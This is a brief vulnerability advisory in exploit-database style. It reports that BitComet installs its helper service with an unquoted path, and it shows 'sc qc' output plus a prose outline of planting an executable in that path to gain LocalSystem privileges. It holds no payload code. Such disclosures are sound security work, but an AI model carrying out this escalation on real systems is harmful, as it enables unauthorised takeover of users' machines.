#########################################################################
# Exploit Title: BitComet Unquoted Service Path Privilege Escalation
# Date: 19/10/2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.bitcomet.com
# Software Link:
http://download.bitcomet.com/bitcomet/bitcomet_setup.exe
# version : 1.43  (Latest)
# Tested on: Windows 7
##########################################################################

BitComet installs a service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert
an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc BITCOMET_HELPER_SERVICE
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BITCOMET_HELPER_SERVICE
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program
Files\BitComet\tools\BitCometService.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BitComet Disk Boost Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

################################################
######### Ashiyane Digital Security Team ############
########## exploit by: Amir.ght #####################
################################################